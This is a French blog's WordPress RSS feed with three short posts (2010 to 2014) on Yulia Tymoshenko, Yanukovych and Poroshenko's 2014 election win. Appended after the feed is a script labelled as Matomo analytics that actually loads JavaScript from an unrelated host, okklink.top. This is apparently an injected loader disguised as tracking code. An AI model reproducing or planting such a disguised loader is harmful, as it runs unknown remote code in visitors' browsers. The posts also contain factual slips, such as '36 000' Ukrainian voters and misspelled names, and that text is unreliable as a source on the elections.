<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alain Roche Nalair de rien &#187; Ioulia Timochenko</title>
	<atom:link href="http://www.nalair.fr/index.php/tag/ioulia-timochenko/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nalair.fr</link>
	<description>Fracasseur d'identités</description>
	<lastBuildDate>Sat, 30 Nov 2024 05:00:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Un nouveau président pour l&#8217;Ukraine</title>
		<link>http://www.nalair.fr/index.php/nalair/un-nouveau-president-pour-lukraine/</link>
		<comments>http://www.nalair.fr/index.php/nalair/un-nouveau-president-pour-lukraine/#comments</comments>
		<pubDate>Fri, 30 May 2014 04:55:00 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[élection présidentielle]]></category>
		<category><![CDATA[Ioulia Timochenko]]></category>
		<category><![CDATA[l'Ukraine]]></category>
		<category><![CDATA[Petro Porochenko]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=15763</guid>
		<description><![CDATA[Ils étaient pas moins de 36 000 ukrainiens appelés à élire leur nouveau président dimanche dernier. Parmi les 19 prétendants c&#8217;est le milliardaire prooccidental Petro Porochenko qui sort grand vainqueur de cette élection en étant élu dès le premier tour avec une participation record. Avec quelques 54%  des voies, cet oligarque de 48 ans n&#8217;a [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/05/Petro-Porochenko-.jpg"><img class="aligncenter size-full wp-image-15764" title="Petro-Porochenko-" src="http://www.nalair.fr/wp-content/uploads/2014/05/Petro-Porochenko-.jpg" alt="" width="446" height="626" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Ils étaient pas moins de 36 000 ukrainiens appelés à élire leur nouveau président dimanche dernier. Parmi les 19 prétendants c&#8217;est le milliardaire prooccidental Petro Porochenko qui sort grand vainqueur de cette élection en étant élu dès le premier tour avec une participation record.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/02/ioulia-timochenko.jpg"><img class="aligncenter size-full wp-image-15045" title="ioulia-timochenko" src="http://www.nalair.fr/wp-content/uploads/2014/02/ioulia-timochenko.jpg" alt="" width="474" height="675" /></a></p>
<p style="text-align: left;">Avec quelques 54%  des voies, cet oligarque de 48 ans n&#8217;a laissé aucune chance à Ioulia Timochenko, créditée seulement de 13,1 %, qui a raté son come back. Il faut dire qu&#8217;en ces temps de chaos, Porochenko était plus rassurant, et les électeurs ont voté utile afin d&#8217;éviter à tout prix un second tour compte tenu des circonstances. C&#8217;est la première fois qu&#8217;un président ukrainien reçoit un mandat avec une telle force, malgré tous les problèmes  d&#8217;intimidation à l&#8217;est lors de ces élections. Pour la première fois depuis la révolution Orange, les urnes n&#8217;ont pas exprimé le fait que l&#8217;Ouest soit tournée vers l&#8217;Europe et l&#8217;Est vers la Russie. Il faut dire que Petro Porochenko, pragmatique et modéré, manager a succès, est certainement apparu comme l&#8217;homme de la situation puisqu&#8217;il a eu un poste de responsabilité dans les deux gouvernements prétendants et opposés politiquement. Le vainqueur a déclaré : &#8220;Nous vivons dans un nouveau pays&#8221;. Maintenant le plus difficile reste à faire : &#8220;Mettre fin au chaos&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/un-nouveau-president-pour-lukraine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ianoukovitch introuvable, Ioulia Timochenko le retour</title>
		<link>http://www.nalair.fr/index.php/nalair/ianoukovitch-introuvable-ioulia-timochenko-le-retour/</link>
		<comments>http://www.nalair.fr/index.php/nalair/ianoukovitch-introuvable-ioulia-timochenko-le-retour/#comments</comments>
		<pubDate>Sun, 23 Feb 2014 16:40:09 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Angela Merkel]]></category>
		<category><![CDATA[IanouKovitch]]></category>
		<category><![CDATA[Ioulia Timochenko]]></category>
		<category><![CDATA[Kiev]]></category>
		<category><![CDATA[l'Ukraine]]></category>
		<category><![CDATA[la Révolution Orange]]></category>
		<category><![CDATA[Vladimir Poutine]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=15042</guid>
		<description><![CDATA[Après deux ans de détention la principale opposante Ioulia Timochenko fait un retour en force à Kiev sur la place de l&#8217;indépendance où elle s&#8217;exprime au milieu des cendres encore fumantes d&#8217;un régime corrompu. Quant à Ianoukovich il reste introuvable, il a fui le palais présidentiel pour se réfugier à l&#8217;est de l&#8217;Ukraine qui lui [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2014/02/Ioulia-Timochenko..jpg"><img class="aligncenter size-full wp-image-15043" title="_Ioulia-Timochenko." src="http://www.nalair.fr/wp-content/uploads/2014/02/Ioulia-Timochenko..jpg" alt="" width="497" height="697" /></a></p>
<p>Après deux ans de détention la principale opposante Ioulia Timochenko fait un retour en force à Kiev sur la place de l&#8217;indépendance où elle s&#8217;exprime au milieu des cendres encore fumantes d&#8217;un régime corrompu.</p>
<p><a href="http://www.nalair.fr/wp-content/uploads/2014/02/Kiev-20-02-20141.jpg"><img class="aligncenter size-full wp-image-15044" title="Kiev-20-02-2014" src="http://www.nalair.fr/wp-content/uploads/2014/02/Kiev-20-02-20141.jpg" alt="" width="488" height="691" /></a></p>
<p>Quant à Ianoukovich il reste introuvable, il a fui le palais présidentiel pour se réfugier à l&#8217;est de l&#8217;Ukraine qui lui est plus favorable, et parle de coup d&#8217;état.</p>
<p><a href="http://www.nalair.fr/wp-content/uploads/2014/02/ioulia-timochenko.jpg"><img class="aligncenter size-full wp-image-15045" title="ioulia-timochenko" src="http://www.nalair.fr/wp-content/uploads/2014/02/ioulia-timochenko.jpg" alt="" width="527" height="750" /></a>L&#8217;égérie de la révolution Orange a bien changé, le pouvoir ne l&#8217;a pas tué mais presque. Elle reste pour les futures élections prévu en mai la candidate possible à la présidence elle qui fut balayé par Ianoukovitch la marionnette du pourvoir russe.</p>
<p><a href="http://www.nalair.fr/wp-content/uploads/2014/02/Poutine.jpg"><img class="aligncenter size-full wp-image-15046" title="Poutine" src="http://www.nalair.fr/wp-content/uploads/2014/02/Poutine.jpg" alt="" width="456" height="631" /></a>Poutine se tait et réserve son effet, mais craint à la partition de l&#8217;Ukraine, tout comme Angela Merkel du reste. Une nouvelle page de l&#8217;histoire ukrainienne s&#8217;est tournée, mais l&#8217;histoire n&#8217;a pas dit encore son dernier mot&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/ianoukovitch-introuvable-ioulia-timochenko-le-retour/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ioulia Timochenko, l&#8217;égérie de la Révolution Orange, est amère</title>
		<link>http://www.nalair.fr/index.php/nalair/ioulia-timochenko-legerie-de-la-revolution-orange-est-amere/</link>
		<comments>http://www.nalair.fr/index.php/nalair/ioulia-timochenko-legerie-de-la-revolution-orange-est-amere/#comments</comments>
		<pubDate>Sat, 13 Feb 2010 06:29:52 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[politique internationale]]></category>
		<category><![CDATA[Ioulia Timochenko]]></category>
		<category><![CDATA[l'Ukraine]]></category>
		<category><![CDATA[la Révolution Orange]]></category>
		<category><![CDATA[Viktor Ianoukovichl]]></category>
		<category><![CDATA[Viktor Louchtchenko]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=4410</guid>
		<description><![CDATA[Pour les élections présidentielles, le scrutin a reflété une grande désillusion des Ukrainiens vis-à-vis de la Révolution Orange. Très déçus que la prospérité tant espérée ne soit pas au rendez-vous, la sanction ne s&#8217;est pas faite attendre. Le président sortant Viktor Louchtchenko, leader du mouvement et candidat à sa succession, se fait balayer dès le [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2010/02/ioulia-timochenko.jpg"><img class="aligncenter size-medium wp-image-4411" title="ioulia-timochenko" src="http://www.nalair.fr/wp-content/uploads/2010/02/ioulia-timochenko-350x498.jpg" alt="ioulia-timochenko" width="350" height="498" /></a>Pour les élections présidentielles, le scrutin a reflété une grande désillusion des Ukrainiens vis-à-vis de la Révolution Orange. Très déçus que la prospérité tant espérée ne soit pas au rendez-vous, la sanction ne s&#8217;est pas faite attendre. Le président sortant Viktor Louchtchenko, leader du mouvement et candidat à sa succession, se fait balayer dès le premier tour avec seulement 5,45 % des voix. Au deuxième tour, l&#8217;actuelle premier ministre, Ioulia Timochenko, ancienne &#8220;égérie de la Révolution Orange&#8221;, n&#8217;a pas réussi son pari de remonter un handicap  10 points après le premier tour. Si en 2004, d&#8217;immenses manifestations avaient fait annuler le résultat de la présidentielle, entachée de fraudes, cette fois ci les observateurs du Conseil de l&#8217;Europe déclare le scrutin valide et sans irrégularités. L&#8217;opposant pro-russe Viktor Ianoukovichl, qui avait endossé le mauvais rôle lors de la Révolution Orange, triomphe, mais jusqu&#8217;à quand ? Les résultats le donnent vainqueur sur Mme Timochenko, avec seulement 3,2 %. Aussi cette dernière déclare qu&#8217;elle &#8220;ne reconnaîtra jamais&#8221; la légitimité de l&#8217;élection et prépare dès à présent d&#8217;hypothétiques recours. Si une page semble belle et bien tournée en Ukraine, le retour à la stabilité est loin d&#8217;être d&#8217;actualité.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/ioulia-timochenko-legerie-de-la-revolution-orange-est-amere/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/www.nalair.fr/matomo.js?id=M-1776434688"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
